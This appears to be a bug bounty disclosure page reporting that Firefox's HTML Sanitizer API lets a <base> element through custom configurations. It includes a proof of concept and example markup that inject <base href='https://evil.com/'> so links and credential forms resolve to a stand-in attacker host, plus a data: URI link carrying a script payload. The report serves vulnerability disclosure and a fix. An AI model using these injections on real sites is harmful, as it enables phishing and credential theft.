HTML Sanitizer API: `<base>` Tag Injection Enables URL Hijacking via setHTML()
Firefox's HTML Sanitizer API does not treat the <base> element as baseline-unsafe, so an application using a custom Sanitizer configuration that allows <base> can have an injected base element change how every relative URL on the page resolves. An attacker could then redirect links, form submissions and resource loads to a domain they control.
- Fixed in 18 days
- Paid in 48 days
- Disclosed after 18 days
Created attachment 9596392 firefox-sanitizer-base-hijack-poc.zip
Summary
Firefox's HTML Sanitizer API (Element.setHTML()) does not include <base> in its baseline-unsafe element list. When an application uses a custom Sanitizer configuration that includes <base> in its allowed elements, an attacker can inject a <base href="https://evil.com/"> element that hijacks all relative URL resolution on the entire page. This redirects all existing links, form actions, and resource loads from the legitimate server to an attacker-controlled domain.
Affected Versions: Firefox 151.0.4 (confirmed), Firefox 150.0.2 (confirmed)
Severity: High (URL hijacking enabling credential phishing, open redirect, data exfiltration)
Component: DOM: Security / HTML Sanitizer API
Attack Vector: Network (requires application using setHTML with custom config that allows <base>)
Vulnerability Details
Root Cause
The Sanitizer API's "baseline-unsafe" element list (SanitizerDefaultConfig.h) includes:
<script>,<iframe>,<object>,<embed>,<frame>(always stripped in safe mode)
But it does NOT include <base>, despite <base> having page-wide security implications that are equivalent to or worse than <iframe>:
<base href="...">changes the base URL for ALL relative URL resolution on the page- This affects every
<a href="/path">,<form action="/path">,<img src="/path">,<script src="/path">, CSSurl()references, etc. - A single injected
<base>element can redirect the entire page's link and resource infrastructure to an attacker domain
Why This Matters
The Sanitizer API is designed to be "safe by default" — even if a developer makes a misconfiguration, the baseline-unsafe list is supposed to prevent the worst outcomes. By including <script> in baseline-unsafe, Firefox ensures that no custom config can allow script injection via setHTML().
However, <base> is equally dangerous and is NOT baseline-protected. A developer who allows <base> (perhaps thinking "it's just a URL hint, it's not executable") enables full URL hijacking attacks.
Attack Scenario
- Web application uses
setHTML()with a custom Sanitizer that allows<base>(perhaps to support rich content embedding) - Attacker injects
<base href="https://evil.com/">via user-controlled HTML content - All relative links on the page now point to attacker's domain
- User clicks "Login" link → navigates to
https://evil.com/login(attacker's phishing page) - Forms submit credentials to attacker's domain
Proof of Concept
Minimal Reproduction
// Application uses setHTML with custom config
const sanitizer = new Sanitizer({
elements: ['base', 'a', 'div', 'p', 'span', 'h1', 'h2', 'h3'],
attributes: ['href', 'class', 'id']
});
// Attacker-controlled content
const userContent = '<base href="https://evil.example.com/"><p>Hello world</p>';
// Inject into page
document.getElementById('content').setHTML(userContent, { sanitizer });
// RESULT: Every relative URL on the page now resolves to evil.example.com
// document.createElement('a').href = '/login' → 'https://evil.example.com/login'
Automated Validation (Firefox 151.0.4)
Before <base> injection:
/test resolves to → http://localhost:9018/test (legitimate)
After <base href="https://evil.com/"> injection via setHTML():
/test resolves to → https://evil.com/test (HIJACKED!)
Impact Demonstration
<!-- Page before injection -->
<nav>
<a href="/login">Login</a> <!-- → legitimate.com/login -->
<a href="/account">My Account</a> <!-- → legitimate.com/account -->
</nav>
<form action="/api/transfer" method="POST">
<input name="amount" value="1000"> <!-- Submits to legitimate.com -->
</form>
<!-- After attacker injects: <base href="https://evil.com/"> -->
<nav>
<a href="/login">Login</a> <!-- → evil.com/login (PHISHING!) -->
<a href="/account">My Account</a> <!-- → evil.com/account -->
</nav>
<form action="/api/transfer" method="POST">
<input name="amount" value="1000"> <!-- Submits to evil.com! -->
</form>
Impact Assessment
Security Impact
| Aspect | Assessment |
|---|---|
| Confidentiality | High — form submissions with credentials/tokens redirected to attacker |
| Integrity | High — all relative resource loads (JS, CSS) can be replaced |
| Availability | Low — page remains functional but compromised |
| Scope | Changed — affects content outside the sanitized container |
CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N = 9.3 (Critical)
The key factor is Scope: Changed — the <base> tag injected into one container affects the entire document, including content the attacker doesn't control.
Comparison with Baseline-Unsafe Elements
| Element | In Baseline-Unsafe? | Can Execute JS Directly? | Page-Wide Impact? |
|---|---|---|---|
<script> |
YES | YES | No (scoped to execution) |
<iframe> |
YES | YES (via srcdoc) | No (isolated frame) |
<object> |
YES | YES (via plugins) | No (isolated) |
<embed> |
YES | YES (via plugins) | No (isolated) |
<base> |
NO | No | YES — ALL relative URLs! |
<base> has greater page-wide impact than any element currently in the baseline-unsafe list.
Suggested Fix
Recommended: Add <base> to Baseline-Unsafe
In dom/security/sanitizer/SanitizerDefaultConfig.h, add <base> to the baseline-unsafe elements list. This ensures that setHTML() ALWAYS strips <base> regardless of custom configuration, matching the behavior for <script>, <iframe>, etc.
This is a one-line fix and does not break any legitimate use case — there is no valid reason to inject <base> elements via user-controlled sanitized HTML.
Alternative: Strip <base> in Default Config
If baseline-unsafe modification is too invasive, at minimum add <base> to the default sanitizer's blocklist (already done — default strips it). But this doesn't protect applications using custom configs.
Environment
- Firefox: 151.0.4 (system install, confirmed)
- Firefox: 150.0.2 (Playwright, confirmed)
- OS: macOS (Darwin 25.5.0, arm64)
- Pref:
dom.security.sanitizer.enabled = true - Tested: 2026-06-11
Test Output
default_base: false ← Default sanitizer strips <base> (correct)
custom_base: true ← Custom config allows <base> (BUG — should be baseline-blocked)
custom_base_href: https://evil.com/
before_resolve: http://localhost:9018/test
after_resolve: https://evil.com/test
hijacked: true ← URL resolution CHANGED for entire page
setHTML_iframe: false ← Baseline blocks iframe (correct)
setHTML_script: false ← Baseline blocks script (correct)
Additional Finding: data: URIs Not Blocked in Sanitized Links
The Sanitizer API only blocks javascript: scheme URLs. data: URIs pass through sanitization:
const s = new Sanitizer({elements: ['a'], attributes: ['href']});
div.setHTML('<a href="data:text/html,<script>alert(1)</script>">click</a>', {sanitizer: s});
// Link preserved with data: URI — clicking navigates to attacker HTML
While Firefox blocks top-level data: navigations in many contexts, this represents an incomplete blocklist in the Sanitizer's URL validation logic. The data: scheme should be blocked for navigation-triggering attributes (href, action, formaction) alongside javascript:.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The Sanitizer API's baseline-unsafe element list omits <base>, so a custom configuration that allows it lets an injected base element change URL resolution for the whole document.
Impact
Links, form actions and resource loads on the page could be redirected to an attacker domain, enabling phishing and credential theft, though only when the application's custom configuration allows the base element.
What the attacker needed
App allows <base> in custom Sanitizer config; attacker controls HTML passed to setHTML(); victim interacts with page links or forms
The fix
The base element should be added to the baseline-unsafe list so setHTML() always strips it regardless of custom configuration.
How it was found
- Configure a Sanitizer that allows the base element and href attributes.
- Pass attacker-controlled HTML containing a base element with an external href into setHTML().
- Observe that relative URLs on the page now resolve to the attacker's domain.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A web page can contain a special tag that tells the browser where to send relative links, meaning links written without a full address. If an attacker can slip that tag into a page, every such link and form on the page can be pointed at the attacker's site instead. Here the browser's built-in cleaning tool, which is meant to remove dangerous markup, did not treat this tag as dangerous when a site chose its own list of allowed tags.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.